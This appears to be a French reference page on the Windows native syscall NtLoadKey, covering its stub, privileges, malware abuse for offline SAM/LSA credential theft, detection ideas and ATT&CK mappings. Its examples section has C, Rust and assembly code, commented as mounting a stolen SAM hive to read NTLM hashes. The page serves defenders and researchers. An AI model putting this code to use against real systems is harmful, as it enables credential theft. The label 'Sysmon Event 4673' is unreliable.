NtLoadKey

Prototype

NTSTATUS NtLoadKey(
  POBJECT_ATTRIBUTES  KeyObjectAttributes,
  POBJECT_ATTRIBUTES  FileObjectAttributes
);

Arguments

IDs de syscalls par version de Windows

Stub du syscall

4C 8B D1            mov r10, rcx
B8 10 01 00 00      mov eax, 0x110
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notes non documentées

NtLoadKey monte un fichier ruche de registre (format binaire sur disque utilisé par `SAM`, `SECURITY`, `SYSTEM`, `SOFTWARE`, `NTUSER.DAT`) sous une sous-clé arbitraire de `\Registry\Machine\` ou `\Registry\User\`. L'appelant doit détenir **SeRestorePrivilege** (et généralement SeBackupPrivilege). NtLoadKey est la version originale à deux arguments ; NtLoadKey2 / NtLoadKeyEx ajoutent des flags comme `REG_HIVE_NO_RM` (sans registre transactionnel / KTM) et des paramètres de trust-class explicites. Le SSN dérive à chaque feature update.

Usage courant par les malwares

L'abus canonique est le **vol de credentials offline**. Un attaquant ayant déjà obtenu une copie des fichiers ruche `SAM`, `SYSTEM` et `SECURITY` (via VSS, lecture NTFS brute, ou vol de sauvegarde) les remonte sur une autre machine avec NtLoadKey sous une sous-clé choisie (souvent `HKLM\OFFLINE_SAM`), puis lit les hashes chiffrés et le matériel SYSKEY avec les API registre standard — exactement le chemin pris par le mode offline de `secretsdump.py` d'Impacket et par `lsadump::sam /system:SYSTEM /sam:SAM` de Mimikatz. Usage secondaire : *persistance furtive* — un malware dépose une petite ruche dans un emplacement non standard et la monte à l'exécution pour cacher de la config ou des équivalents Run keys aux baseliners qui n'auditent que les ruches connues.

Opportunités de détection

Les Event ID Sysmon 12/13 se déclenchent sur création d'objet / set de valeur registre sous des points de montage inhabituels (`HKLM\OFFLINE*`, `HKLM\TEMP_*`). Le provider ETW `Microsoft-Windows-Kernel-Registry` expose les événements de chargement de ruche avec la clé de montage et le chemin source. L'ajustement de SeRestorePrivilege juste avant un load est un indicateur précurseur fort (Sysmon Event 4673 avec liste de privilèges). Le chargement de fichiers ruche hors de `%SystemRoot%\System32\config\` et `%UserProfile%\NTUSER.DAT` mérite presque toujours une alerte.

Exemples de syscalls directs

; Direct syscall stub for NtLoadKey (SSN 0x110 on Win11 24H2 — drifts per build)
NtLoadKey PROC
    mov  r10, rcx          ; KeyObjectAttributes
    mov  eax, 110h         ; SSN
    syscall
    ret
NtLoadKey ENDP

// Mount a stolen SAM hive offline and let LSAlib decrypt the NTLM hashes.
// Requires SeRestorePrivilege + SeBackupPrivilege.
#include <windows.h>
#include <winternl.h>

static void EnablePriv(LPCWSTR p) {
    HANDLE tok; TOKEN_PRIVILEGES tp = {0};
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &tok);
    LookupPrivilegeValueW(NULL, p, &tp.Privileges[0].Luid);
    tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(tok, FALSE, &tp, 0, NULL, NULL);
    CloseHandle(tok);
}

int main(void) {
    EnablePriv(SE_RESTORE_NAME);
    EnablePriv(SE_BACKUP_NAME);
    // RegLoadKeyW is the documented wrapper that ends at NtLoadKey under the hood.
    LONG s = RegLoadKeyW(HKEY_LOCAL_MACHINE, L"OFFLINE_SAM",
                          L"C:\\stolen\\SAM");
    if (s == ERROR_SUCCESS) {
        // Now HKLM\OFFLINE_SAM\SAM\Domains\Account\Users\... is readable.
        RegUnLoadKeyW(HKEY_LOCAL_MACHINE, L"OFFLINE_SAM");
    }
    return s;
}

// Cargo: ntapi = "0.4", winapi = { version = "0.3", features = ["ntdef"] }
use ntapi::ntregapi::NtLoadKey;
use ntapi::ntrtl::{RtlInitUnicodeString};
use winapi::shared::ntdef::{OBJECT_ATTRIBUTES, UNICODE_STRING, OBJ_CASE_INSENSITIVE};

unsafe fn load_offline_hive(mount: &str, file: &str) -> i32 {
    let mut k_us: UNICODE_STRING = std::mem::zeroed();
    let mut f_us: UNICODE_STRING = std::mem::zeroed();
    let mw: Vec<u16> = mount.encode_utf16().chain([0]).collect();
    let fw: Vec<u16> = file.encode_utf16().chain([0]).collect();
    RtlInitUnicodeString(&mut k_us, mw.as_ptr());
    RtlInitUnicodeString(&mut f_us, fw.as_ptr());
    let mut k_oa: OBJECT_ATTRIBUTES = std::mem::zeroed();
    let mut f_oa: OBJECT_ATTRIBUTES = std::mem::zeroed();
    k_oa.Length = std::mem::size_of::<OBJECT_ATTRIBUTES>() as u32;
    k_oa.ObjectName = &mut k_us; k_oa.Attributes = OBJ_CASE_INSENSITIVE;
    f_oa.Length = std::mem::size_of::<OBJECT_ATTRIBUTES>() as u32;
    f_oa.ObjectName = &mut f_us; f_oa.Attributes = OBJ_CASE_INSENSITIVE;
    NtLoadKey(&mut k_oa, &mut f_oa)
}

Mappings MITRE ATT&CK

• T1003.002OS Credential Dumping: Security Account Managermitre ↗
• T1003.004OS Credential Dumping: LSA Secretsmitre ↗
• T1106Native APImitre ↗